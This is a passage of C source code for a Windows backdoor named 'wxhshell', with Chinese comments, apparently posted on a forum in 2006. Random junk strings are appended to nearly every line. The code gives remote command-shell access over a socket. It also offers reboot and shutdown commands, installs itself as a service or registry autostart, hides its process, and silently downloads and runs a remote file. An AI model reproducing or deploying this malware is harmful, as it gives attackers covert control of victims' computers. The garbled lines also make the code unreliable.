  cE7xNZ;Bh  
  // 帮助 FB<#N+L\  
  case '?': { 'B;aXy/JC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K]mR9$/  
    break; Y6(I %hE`  
  } X2 {n&K  
  // 安装 7%aaqQ1T  
  case 'i': { #q2 cVN1  
    if(Install()) YyR)2j1O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aj`zT'  
    else kj(Ko{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,3^gB,ka  
    break; 0>#or$:6E  
    } x Bn+-V  
  // 卸载 Qz*!jwg  
  case 'r': { rDNz<{evj  
    if(Uninstall()) A?{ X5` y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _*b1]<  
    else g(d9=xq@k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /rsr|`#  
    break; XW!a?aLNX  
    } k(n{$  
  // 显示 wxhshell 所在路径 &m=Xg(G~c  
  case 'p': { }{Y)[w#R  
    char svExeFile[MAX_PATH]; <I.anIB:U  
    strcpy(svExeFile,"\n\r"); m2o*d$Ke  
      strcat(svExeFile,ExeFile); cnm&o C 6  
        send(wsh,svExeFile,strlen(svExeFile),0); :Mz$~o<  
    break; S1Q2<<[  
    } \79KU   
  // 重启 voRr9E*n  
  case 'b': { cP[3p :  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m&)5QX  
    if(Boot(REBOOT)) L(tA~Z"k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _= RA-qZ"  
    else { _is<.&f6  
    closesocket(wsh); 74*1|S <  
    ExitThread(0); }]w/`TF  
    } r3X|*/  
    break; as\6XW$;Q  
    } W@NM~+)e  
  // 关机 x\ieWF1  
  case 'd': { O[ O`4de9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -uZ bVd  
    if(Boot(SHUTDOWN)) J[ 9yQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D[.; H)V  
    else { Tjo K]]  
    closesocket(wsh); 7_r$zEP6  
    ExitThread(0); Kfnn;  
    } \Q.Qos  
    break; HJpkR<h  
    } ZM oV!lu  
  // 获取shell %1Gat6V<'  
  case 's': { wN,DTmtD  
    CmdShell(wsh); m=&j2~<i  
    closesocket(wsh); ODn6%fp%  
    ExitThread(0); $YvT* T$_  
    break; 8zew8I~s  
  } G%N/]]ll  
  // 退出 BXgAohg!  
  case 'x': { /E'c y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +RexQE  
    CloseIt(wsh); ]=v_u9;  
    break; mG[S"?C  
    } q1j<p)(  
  // 离开  /1-  
  case 'q': { jbQ2G|:Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fu|N{$h%X  
    closesocket(wsh); J%']t$ AR  
    WSACleanup(); 5p6Kq=jhb  
    exit(1); [KXxn>n  
    break; w[w{~`([",  
        } #~um F%#  
  } ND[u$N+5x"  
  } |He,v/r  
l,}{Y4\G  
  // 提示信息 KE\p|Xi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eCB(!Y|  
} a p-\R  
  } $"[1yQ<p  
P+pL2BA  
  return; mIVnc`3s  
} P<b.;Oz__-  
)'8DK$.  
// shell模块句柄 ,)mqd2)+"  
int CmdShell(SOCKET sock) 6|U0"C#]  
{ BCV<( @c  
STARTUPINFO si; ,eq[X\B>  
ZeroMemory(&si,sizeof(si)); +5Z0-N@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o)'u%m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eUvIO+av  
PROCESS_INFORMATION ProcessInfo; wH1 E7LY|R  
char cmdline[]="cmd"; `<IT LT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9"_JiX~3  
  return 0; Ws?BAfP  
} $,ev <4I&  
{GDMix  
// 自身启动模式 (j8tdEt  
int StartFromService(void) :+ksmyW  
{ Tj@}O:q7:  
typedef struct GF5WR e(E  
{ !=C4=xv  
  DWORD ExitStatus; <)y44x|S'  
  DWORD PebBaseAddress; (g,lDU[=  
  DWORD AffinityMask; q+XL,E  
  DWORD BasePriority; v{Cts3?Br  
  ULONG UniqueProcessId; }$u]aX<  
  ULONG InheritedFromUniqueProcessId; .#R\t 7m%  
}   PROCESS_BASIC_INFORMATION; Z!Sv/ 5xx  
]T\K-;i  
PROCNTQSIP NtQueryInformationProcess; $2E n^  
md7Aqh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V-a/%_D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V%k[S|f3  
{= Dtajz  
  HANDLE             hProcess; @`2<^-r\  
  PROCESS_BASIC_INFORMATION pbi; N#{d_v^H?d  
Q&:% U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y XZZ)i_  
  if(NULL == hInst ) return 0; DZ~w8v7V  
BMU}NZA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _3<J!$]&p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lbrob' '+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \FN"0P(G  
X0 &1ICZ  
  if (!NtQueryInformationProcess) return 0; u2K{3+r`'  
QytqO {B^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FH}n]T  
  if(!hProcess) return 0; ]g-(|X~>  
#M*h)/d[A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }xTTz,Oj$  
|33pf7o  
  CloseHandle(hProcess); j>~^jz:  
uy\< t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T/G1v;]  
if(hProcess==NULL) return 0; P\;lH"9  
B&A4-w v  
HMODULE hMod; [dFxW6n  
char procName[255]; XOzPi*V**  
unsigned long cbNeeded; P8!Vcy938  
 g#~jF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +]H9:ARI  
+U&aK dQs  
  CloseHandle(hProcess); ?H1I,]Di  
Acr\2!))  
if(strstr(procName,"services")) return 1; // 以服务启动 dA> t  
e:{v.C0ez  
  return 0; // 注册表启动 .$)'7  
} <uNBsYMuC  
=]E(iR_&  
// 主模块 I=l() ET=  
int StartWxhshell(LPSTR lpCmdLine) 6gwjrGje\  
{ /s& xI  
  SOCKET wsl; YIb5jK `  
BOOL val=TRUE; *%(8z~(\  
  int port=0; T[>h6d  
  struct sockaddr_in door; ,GXwi|Y  
&H,5f#  
  if(wscfg.ws_autoins) Install(); W3* BdpTw  
@B5@3zYs  
port=atoi(lpCmdLine); [P8Y  
OQaM47"  
if(port<=0) port=wscfg.ws_port; c#nFm&}dm  
kCxmC<34  
  WSADATA data; 'p-jMD}O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dgpo4'c}  
I<|)uK7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (: 2:_FL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VaQ>g*(I  
  door.sin_family = AF_INET; ;%2/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,@%1q)S?A  
  door.sin_port = htons(port); Ei Wy`H;  
xc Wr hg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *X\i= K!  
closesocket(wsl); {%. _cR2  
return 1; -h^FSW($-R  
} G/_#zIN`8M  
s4P8PDhz  
  if(listen(wsl,2) == INVALID_SOCKET) { n l Xg8t^G  
closesocket(wsl); MBs]<(RJZ  
return 1; WK0?$[|=r  
} \k0%7i[nZ/  
  Wxhshell(wsl); b>;>*'e  
  WSACleanup(); -"u}lCz>  
(G<"nnjK  
return 0; rmpJG |(  
LSlaz  
} x,IU]YW@  
t&:'A g.G  
// 以NT服务方式启动 6@g2v^ %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %d($\R-*O  
{ QD]Vfj4+  
DWORD   status = 0; mu)?SGpyE  
  DWORD   specificError = 0xfffffff; 4Ub_;EI>  
6#vD>@H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m'Z233Nt"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j]rE0Og  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >4}+\ Q`S  
  serviceStatus.dwWin32ExitCode     = 0; h'^7xDw  
  serviceStatus.dwServiceSpecificExitCode = 0; 2/=CrK  
  serviceStatus.dwCheckPoint       = 0; )`F? {Sg  
  serviceStatus.dwWaitHint       = 0; #Bj{ 4OeV  
N~l(ng9'U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Smo^/K`f9  
  if (hServiceStatusHandle==0) return; [%;LZZgl  
?VEJk,/k  
status = GetLastError(); l*uNi47|  
  if (status!=NO_ERROR) qd~)Ya1  
{ \.myLkm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b')CGqbbmT  
    serviceStatus.dwCheckPoint       = 0; n9gj{]%  
    serviceStatus.dwWaitHint       = 0; xB]~%nC[O  
    serviceStatus.dwWin32ExitCode     = status; 0z&3jWWY@  
    serviceStatus.dwServiceSpecificExitCode = specificError; pD##lkJr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g[*+R9'  
    return; #tN)OZA  
  } (S0MqX*  
'Fo*h6=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ncb?iJ/b^  
  serviceStatus.dwCheckPoint       = 0; 0`"]mYH  
  serviceStatus.dwWaitHint       = 0; 6g8{;6x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sn_]7d+ Q  
} YKf,vHau  
=+~e44!~D  
// 处理NT服务事件,比如:启动、停止 !jMa%;/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [0yKd?e  
{ hEsCOcEG  
switch(fdwControl) YZ:YYcr  
{ C/"fS#<  
case SERVICE_CONTROL_STOP: w4:S>6X  
  serviceStatus.dwWin32ExitCode = 0; ]p(+m_F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; epCU(d*b  
  serviceStatus.dwCheckPoint   = 0; H!4!1J.=xw  
  serviceStatus.dwWaitHint     = 0; Vky~yTL)\  
  { &BqRyUM$F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wg^#S  
  } &fdH HN  
  return; qw&Wfk\}  
case SERVICE_CONTROL_PAUSE: {CR~G2Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BZQ98"Fz*  
  break; ,G e7 9(  
case SERVICE_CONTROL_CONTINUE: C 6Bh[:V&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2uZ <q?=  
  break; :1q+[T/ @  
case SERVICE_CONTROL_INTERROGATE: A1{P"p!  
  break; -_ .f&l8  
}; bRJYw6oA<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GbwcbfH  
} ^6#FqK+{u  
a)MjX<y  
// 标准应用程序主函数 )W:`Q&/G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YM 0f_G=  
{ ?Vb=W)Es  
JHwkLAuz  
// 获取操作系统版本 y AU[A  
OsIsNt=GetOsVer(); |rH;}t|un  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :t?9$ dL  
-. L)-%wIV  
  // 从命令行安装 N $M#3Y;  
  if(strpbrk(lpCmdLine,"iI")) Install(); S6h=} V )  
e-,U@_B  
  // 下载执行文件 xM9EO(u  
if(wscfg.ws_downexe) { F}DdErd!f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >J[g)$,  
  WinExec(wscfg.ws_filenam,SW_HIDE); >"f,'S5*  
} BXO(B'1)]  
VE& ?Zd~  
if(!OsIsNt) { Oq(_I b)9  
// 如果时win9x,隐藏进程并且设置为注册表启动 /4YXx|V  
HideProc(); 24:;vcb  
StartWxhshell(lpCmdLine); k[6@\D-  
} =8X`QUmT  
else v/c8P\  
  if(StartFromService()) iH#~eg  
  // 以服务方式启动 P1vr}J  
  StartServiceCtrlDispatcher(DispatchTable); Vpt)?];P  
else R<Ojaj=V  
  // 普通方式启动 H;k;%Zg;  
  StartWxhshell(lpCmdLine); QN9$n%Z  
<t,uj.9_  
return 0;  LS,/EGJ  
}
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只看该作者 1 发表于: 2006-10-10
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